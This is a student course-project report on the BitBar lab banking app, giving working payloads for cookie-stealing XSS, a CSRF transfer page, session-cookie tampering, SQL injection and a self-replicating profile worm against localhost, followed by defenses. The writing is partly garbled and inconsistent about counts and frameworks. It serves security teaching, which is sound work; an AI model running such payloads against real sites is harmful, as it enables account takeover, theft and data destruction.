o Title

Different Web Exploits and Solutions based on JavaScript Vulnerabilities

o Abstract

There are millions of websites in the world now but it has been observed since very long time that Web Security has been one of most important areas of research whether be it either analysis or detection and later developing to mitigation plans. Web security threats are very much present now days and they have undergone much sophistication comparing to their initial phase. Now they are becoming more & more evolved each day. The evolution of threat on websites might be in terms of new ways of attack or bringing in resistance to using simulated Operating Systems or VM ware environments. Also, there has been considerable shift in the target of attacks in recent years. Earlier, clients were ignored while choosing targets. But, in recent years client user has become the main target for attacks as the adversary believe that the end user is the weakest link in the security chain. This paper presents an implementation of some of the most common attacks and their mitigation plans on the famous project BitBar.

o Introduction

In this project, we gain experience implementing and defending against web attacks. We are given the source code for a banking web application written in Ruby on Rails. In Part 1 of this project, we will implement a variety of attacks. In Part 2, we will modify the Rails application to defend against the attacks from Part 1. The web application lets users manage bitbars, a new cryptocurrency. Each user is given 200 bitbars when they register for the site. They can transfer bitbars to other users using an intuitive web interface, as well as create and view user profiles. we have been given the source code for the bitbar application. Real web attackers generally would not have access to the source code of the target website's server, but having the source might make finding the vulnerabilities a bit easier.

o Literature Review/Related Work

There are mainly five types of attacks in the website and web applications. Here are those:

1. Remote code execution
2. SQL injection
3. Format string vulnerabilities
4. Cross Site Scripting (XSS).
5. Username enumeration

Generally poor programming approach leads to these types of attack attacks, so we need address and study these attacks on our application also suggest counter measures to avoid these attacks.

o Tools and Validation

Our website is built on Node.js. We choose Node.js because it is very easy to exploit different vulnerabilities in javascript based servers using in-line scripting. Since these vulnerabilities are very common for developers to make while Node.js and javascript in general is one of the most commonly used web platforms, we want to shed light to users and also teach ourselves how to avoid some of the most common vulnerabilities.

o Plan, Design and Solution

We run 5 exploits on the BitBar server, namely:

1. Cookie Theft
2. Cross Site Request Forgery
3. Session Hijacking with Cookies
4. Cooking the Books with Cookies
5. SQL Injection
6. Profile Worm with HTML Injection

We provide the detailed explanation of how these exploits are implemented in the coming parts of this chapter. First we describe the Exploits and then we provide possible solution approaches for each exploit, although not implemented in our project

Exploits:

- **Exploit Alpha Cookie Theft**

The meaning of the title is to get a cookie by visiting http://localhost:3000/profile?username=... and then send it to http://localhost:3000/steal_cookie?cookie=...cookie

Let's take a look at the code of express first, we can see that when the /profile?username=api is, it will username take it out, then go to query db, and then call render to display the web page. It is worth noting that when it username does not exist, the error message is directly ${req.query.username} does not exist!, also Just put the whole thing req.query.username in the html file, where we can inject html+js code

```
router.get('/profile', asyncMiddleware(async (req, res, next) => {
  if(req.session.loggedIn == false) {
    render(req, res, next, 'login/form', 'Login', 'we must be logged in to use this feature!');
    return;
  };


  if(req.query.username != null) { // if visitor makes a search query
    const db = await dbPromise;
    const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
```

```
    let result;
    try {
      result = await db.get(query);
    } catch(err) {
      result = false;
    }
    if(result) { // if user exists
      render(req, res, next, 'profile/view', 'View Profile', false, result);
    }
    else { // user does not exist
      render(req, res, next, 'profile/view', 'View Profile', `${req.query.username}
does not exist!`, req.session.account);
    }
  } else { // visitor did not make query, show them their own profile
    render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
  }
}));
```

A few things to note here

- If the user does not exist, it will show **xx does not exist!** in blue , so it needs to be added <p hidden>to hide this line of output

```
function getCookie(name) {
  var value = "; ".concat(document.cookie);
  var parts = value.split("; ".concat(name).concat("="));
  if (parts.length == 2)
    return parts.pop().split(";").shift();
}
var stolenCookie = getCookie("session");
```

- To send requests asynchronously

```
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'http://localhost:3000/steal_cookie?cookie=...');
xmlhttp.onload = function () {
  // This is reached after xmlhttp.send completes and server responds
};
xmlhttp.send(); // this method is asynchronous!
```

- Can be redirected to the normal url to prevent flaws

```
window.location.replace("http://localhost:3000/profile?username=user1");
```

The complete url request looks like this

```
http://localhost:3000/profile?username=<p hidden><script>function
getCookie(name) {var value = "; ".concat(document.cookie);var parts =
value.split("; ".concat(name).concat("="));if (parts.length == 2) return
parts.pop().split(";").shift();}var stolenCookie = getCookie("session");var
xmlhttp = new XMLHttpRequest();xmlhttp.open('GET',
```

'http://localhost:3000/steal_cookie?cookie='.concat(stolenCookie));
xmlhttp.onload = function ()
{};xmlhttp.send();window.location.replace("http://localhost:3000/profile?username=user1");</script>

- **Exploit Bravo Cross Site Request Forgery**

app.jsIn the file, the following are modified to make CSRF have an opportunity

- Access-Control-Allow-Origin is used to control cross-domain access and is disabled by default
- httpOnly means that the cookie can only be accessed through http, that is to say, it cannot be accessed through js, such as document.cookie

```
// adjust CORS policy (DO NOT CHANGE)
app.use((req, res, next) => {
  res.header("Access-Control-Allow-Origin", "null");
  res.header("Access-Control-Allow-Credentials", "true");
  next();
});


// set lax cookie policies (DO NOT CHANGE)
app.use(cookieSession({
  name: 'session',
  maxAge: 24 * 60 * 60 * 1000, // 24 hours
  signed: false,
  sameSite: false,
  httpOnly: false,
}));
```

It should be noted that the target of the form points to a blank iframe, because under normal circumstances, the page will be refreshed after the form is submitted, so as to display the content of the BitBar, which is found by others 233333, and the jump in execution can only be executed loadafter it is executed . bye, because it is executed when the iframe is loaded for the first time, and then executed again when the form is submitted

```
<!DOCTYPE html>
<html>
    <head>
        <meta charset='utf-8'>
        <script>
            var hit=false;
            function load(){
                document.getElementById('csrf').submit();
                hit=true;
            }
            function bye(){
                if(hit){
                    window.location.replace("http://crypto.stanford.edu/cs155");
```

```
            }
          }
        </script>
    </head>
    <body onload="load()">
        <form id="csrf" method="POST" target="iframe"
action="http://localhost:3000/post_transfer">
            <input name="destination_username" type="hidden"
value="attacker">
            <input name="quantity" type="hidden" value="10">
        </form>
        <iframe style="width:0; height:0; border:0; border:none" name="iframe"
onload="bye()"></iframe>
    </body>
</html>
```

- **Exploit Charlie Session Hijacking with Cookies**

The meaning of the title is that when we log in, we are an attacker, but we want to log in to user1's account and complete the transfer. Let's first look at what the session in the cookie is. As we can see, the session is actually a string of base64 codes.

```
$ document.cookie
"session=eyJsb2dnZWRJbiI6dHJ1ZSwiYWNjb3VudCI6eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiaGFzaGVkUGFzc3dvcmQiOiIwZmM5MjFkY2NmY2IwNzExMzJlNzIzODVmMTBkOTFkY2IyMTM5ODM3OTJkZmU5M2RlOGI1ZDMyNzRiNWE1Y2Y1Iiwic2FsdCI6IjIxODM0NzA4NDkyOTcwODYwMzY4OTQwNzEwMTMxNTYwMjE4NzQxIiwicHJvZmlsZSI6IiIsImJpdGJhcnMiOjIwfX0="
```

Check it out with atob()decoding

```
"{\"loggedIn\":true,\"account\":
{\"username\":\"attacker\",\"hashedPassword\":\"0fc921dccfcb071132e72385f10d91dcb213983792dfe93de8b5d3274b5a5cf5\",\"salt\":\"218347084929708603689407101315602187 41\",\"profile\":\"\",\"bitbars\":0}}"
```

Looking at the authentication mechanism of the server login, I found that only the judgment session.loggedInand the db query usernameare in the db, so it can be directly changed username to hijack the session

```
router.get('/profile', asyncMiddleware(async (req, res, next) => {
  if(req.session.loggedIn == false) {
    render(req, res, next, 'login/form', 'Login', 'we must be logged in to use this
feature!');
    return;
  };


  if(req.query.username != null) { // if visitor makes a search query
    const db = await dbPromise;
```

```
    const query = `SELECT * FROM Users WHERE username == "$
{req.query.username}";`;
    let result;
    try {
      result = await db.get(query);
    } catch(err) {
      result = false;
    }
    if(result) { // if user exists
      render(req, res, next, 'profile/view', 'View Profile', false, result);
    }
    else { // user does not exist
      render(req, res, next, 'profile/view', 'View Profile', `${req.query.username}
does not exist!`, req.session.account);
    }
  } else { // visitor did not make query, show them their own profile
    render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
  }
}));
```

Make the following changes to implement session hijacking and complete the transfer

```
function getCookie(name) {
  var value = "; ".concat(document.cookie);
  var parts = value.split("; ".concat(name).concat("="));
  if (parts.length == 2)
    return parts.pop().split(";").shift();
}
var cookie = getCookie("session");
var json = atob(cookie);
var jsonObj = JSON.parse(json);
jsonObj.account.username = "user1";
jsonObj.account.bitbars = 200
var user1Cookie = JSON.stringify(jsonObj);
document.cookie = "session=".concat(btoa(user1Cookie));
```

Exploit Delta Cooking the Books with Cookies

The attacker transfers 1 block to user1, and then the attacker account has a million. The method is exactly the same as that of C. Since transfer the number of BitBars is obtained from the session during the process, as long as one block is transferred, any number of BitBars can be fixed in the database.

```
   req.session.account.bitbars -= amount;
    query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}"
WHERE username == "${req.session.account.username}";`;
    await db.exec(query);
```

The specific js is as follows

```
function getCookie(name) {
```

```
  var value = "; ".concat(document.cookie);
  var parts = value.split("; ".concat(name).concat("="));
  if (parts.length == 2)
    return parts.pop().split(";").shift();
}
var cookie = getCookie("session");
var json = atob(cookie);
var jsonObj = JSON.parse(json);
jsonObj.account.bitbars = 1000000
var attackerCookie = JSON.stringify(jsonObj);
document.cookie = "session=".concat(btoa(attackerCookie));
```

- **Exploit Echo SQL Injection**

The title requires that we create a new user, delete it when we click close it user3, and then delete the newly created account.

closeThe API interface is as follows. we can see that the SQL command username has been put in, so we can inject SQL. Note that the title requires not only deleting user3 but also deleting the newly created one. SQLite is used in docker. Check the doc and find that there is only LIKE operation, so The following users can be added

user3" OR username LIKE 'user3" OR username LIKE %';

The complete SQL command is as follows

DELETE FROM Users WHERE username == " user3" OR username LIKE 'user3" OR username LIKE %'; ";

closeThe API finally logs the db and finds that user3it has disappeared

```
router.get('/close', asyncMiddleware(async (req, res, next) => {
  if(req.session.loggedIn == false) {
    render(req, res, next, 'login/form', 'Login', 'we must be logged in to use this feature!');
    return;
  };
  const db = await dbPromise;
  const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`;
  await db.get(query);
  req.session.loggedIn = false;
  req.session.account = {};
  render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!');
  logDatabaseState();
}));
```

- **Exploit Foxtrot Profile Worm**

The title requires that attackerwe post wer own profile on wer own profile. When other users user1visit the attackerprofile, they will automatically attackertransfer one dollar, and then copy the worm, which can infect other visitors. user1innocent users who visit

- Refer to the famous **Samy Worm** worm, which infects one million accounts in 20 hours. , and the code analysis he wrote himself
- Wikipedia: Sammy (computer worm)
- MySpace Worm Explanation

First of all, let's see how the profile is represented, paste it directly into HTML without any processing result.profile, and directly inject HTML attacks like the previous method.

```
<% if (result.username && result.profile) { %>
    <div id="profile"><%- result.profile %></div>
<% } %>
```

b.htmlExactly similar to the previous method

- **replication virus**

<body>There is an onloadevent that will run load(), this time it will textareafill in the things, and then submit the form, that is, copy the profile worm into its own profile. I've been stuck here for a long time. At first, I wanted to write a function that can return the function body, and then I fell into infinite nesting and couldn't get around it. Let's see if Samy is doing self replicate

5. In order to post the code to the user's profile who is viewing it, we need to actually get the source of the page. Ah, we can use document.body.innerHTML in order to get the page source which includes, in only one spot , the ID of the user viewing the page. Myspace gets me again and strips out the word "innerHTML" anywhere. To avoid this, we use an eval() to evaluate two strings and put them together to form "innerHTML". Example: alert(eval('document.body.inne' + 'rHTML'));

<div id='forge>... Damn, it's so clever, why don't we just use innerHTML directly, the most stupid way, we can take out a whole piece of HTML code with the outermost bread

```
var textarea = "<div
id='forge'>".concat(document.getElementById('forge').innerHTML).concat("</
div>");
```

But I found that this is not enough, because when I take innerHTML, the <body>tag is gone. I tried the only <body onload>onload, which is the best. I

used a silly method <form></form>to put two hidden <p>tags on the outside, and then replace it. They are added when <body onload>, as follows

```
var textarea = "<div
id='forge'>".concat(document.getElementById('forge').innerHTML).concat("</
div>")
  .replace('<p hidden="">hello</p>', '<p hidden="">hello</p><body
onload="load()">')
  .replace('<p hidden="">byebye</p>', '<p
hidden="">byebye</p></body>');
```

This will ensure that the worm virus can be replicated every time.

- **submit form**

Similar to the previous, the logic of submitting the form is, first call load(), submit <form id="worm" target="iframe1" ...>and point the refresh result to hidden iframe1, then call transferMoney(), submit <form id="transfer" target="iframe2" ...>and point the refresh result to hiddeniframe2

The complete profile worm code is shown below, spread the word! my worm ! whee

```
<div id="forge">
   Money money I want money
<script type="text/javascript">
   var loadDone = false;
   var transferDone = false;
   function load() {
      console.log("load");
      document.getElementById("new_textarea").value = textarea;
      document.getElementById("worm").submit();
      loadDone = true;
   }
   function transferMoney() {
      console.log("transfer load");
      if (loadDone) {
         console.log("transfer");
         document.getElementById("transfer").submit();
         transferDone = true;
      }
   }
   function bye() {
      if (transferDone) {
      }
   }
</script>
<body onload="load()">
   <p hidden="">hello</p>
```

```
    <form id="worm" method="POST" target="iframe1"
action="http://localhost:3000/set_profile">
        <textarea id="new_textarea" name="new_profile"
style="display:none;"></textarea>
    </form>
    <form id="transfer" method="POST" target="iframe2"
action="http://localhost:3000/post_transfer">
        <input name="destination_username" type="hidden" value="attacker">
        <input name="quantity" type="hidden" value="1">
    </form>
    <iframe style="width:0; height:0; border:0; border:none" name="iframe1"
onload="transferMoney()"></iframe>
    <iframe style="width:0; height:0; border:0; border:none" name="iframe2"
onload="bye()"></iframe>
    <p hidden="">byebye</p>
</body>


<script type="text/javascript">
    var textarea = "<div
id='forge'>".concat(document.getElementById('forge').innerHTML).concat("</
div>").replace('<p hidden="">hello</p>', '<p hidden="">hello</p><body
onload="load()">').replace('<p hidden="">byebye</p>', '<p
hidden="">byebye</p></body>');
</script>
</div>
```

Solutions:

- **Exploit Alpha**

Attack Alpha relies on unsanatized user input being rendered to the page. We can avoid this attack (and other similar attacks), by simply sanatizing the user input by escaping all HTML related characters in any input provided by the user. While somewhat excessive, this is the easiest and most straight-forward way of knowing that the input is safe. Alternatively, we could keep a whitelist of allowed tags (such as <p>), but we'd rather err on the side of security. We make sure everything is sanatized by changing the render() function to sanatize values before passing them to the EJS templates. We also make sure we sanitize the result/account.profile and result/account.username, which are both properties that are often displayed on the page. We would sanitize the session further (such as bitbars field), but given the other security measures we've implemented, it's not possible for the client to tamper with the cookie and we don't provide a mechanism for changing any other values.

- **Exploit Bravo**

Attack Bravo relies on Cross-Site Request Forgery. The most straight forward way to solve this problem is to embed a secret token into the transfer page which depends on the logged in user in some way. This token should be difficult

to guess. We can satisfy these requirements by simply using the HMAC function in the crypto.js library to generate a signature on the user + hashedpassword + salt data in the session (which should not change per session). The server is the only one able to generate this signature, and an attacker will be unable to guess it. This token allows us to verify the POST request is authorized by the user, since we include the token as part of the request. We do something similar for the set_profile API, and thereby prevent CSRF attacks there too. Essentially, for any form we present to the user, we embed a secret token. Generating the secret token is essentially impossible for the attacker, and requesting a page from the server that will generate the same token will require (1) modifying the session cookie and (2) correctly guessing another user's password. Not only is (2) extremely difficult, but even if an attacker could, we've added other security mechanisms to prevent an attacker from tampering with the session cookie and attempting to retrieve a token for another user.

- **Exploit Charlie**

Attack Charlie relies mostly on the fact that all the session information is stored client-side. We can prevent client-side session attacks by signing our session with a secret, server-only key. Anytime the server starts a session, it signs the session and stores this key with the session (an attacker could see this key). Anytime the servers changes the session, it signs it again. And anytime the server reads the session, it verifies the signature before using any values from the ssion. If the signature is invalid, we immediately log the user out and inform them that they may be under attack. An attacker has no reasonable method of tampering with the session cookie since any change will invalidate the associated signature. Note that while this mechanism defends against tampering, it does not defend against replay attacks.

- **Exploit Delta**

This attack similary relies on the ability to overwrite the local cookie. We prevent it by signing the cookie and checking the signature before making any transactions. We update all of the site code to always verify the cookie before performing any actions based on the contents of the session.

- **Exploit Echo**

The easiest protection against a SQL Injection attack is to simply disallow any non alphanumeric characters. We implement this for the user field, as it does not make sense to allow users to use non alphanumeric characters in their usernames. However, we also update all of our SQL queries to make use of prepared statements, rather than string concatenation and replacement. In this way, it becomes impossible for any of our SQL statements to be injected with malicious SQL, since the input from the user will never be parsed as part of the semantic meaning of the SQL.

- **Exploit Foxtrot**

We handle this attack by always sanitizing the input so we escape all HTML characters. Furthermore, with the additional verifications added to the set_profile route (we verify the user token), it makes the attack even more difficult to accomplish (the attacker would have to remmeber to grab the secret token).

o Conclusion

So far, we have implemented the BitBar project Exploits and provided their possible solutions. Hopefully, we will never make the same mistakes in our real life projects and we will learn about more exploits in this field and create solutions which are truly safe and secure to use for the public.

o References

1. HTML, CSS, JavaScript
   - http://www.w3schools.com/
2. Ruby and Ruby on Rails
   - http://guides.rubyonrails.org/index.html
   - http://api.rubyonrails.org/
   - http://ruby-doc.org/
3. AJAX
   - http://openjs.com/articles/ajax_xmlhttp_using_post.php
4. XSS
   - http://crypto.stanford.edu/cs155/papers/CSS.pdf
   - https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
5. SQL
   - http://www.w3schools.com/sql/
   - http://rails-sqli.org/
6. Clickjacking Attacks and Defense
   - http://seclab.stanford.edu/websec/framebusting/framebust.pdf
   - http://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generati
7. StackOverflow
   - http://stackoverflow.com/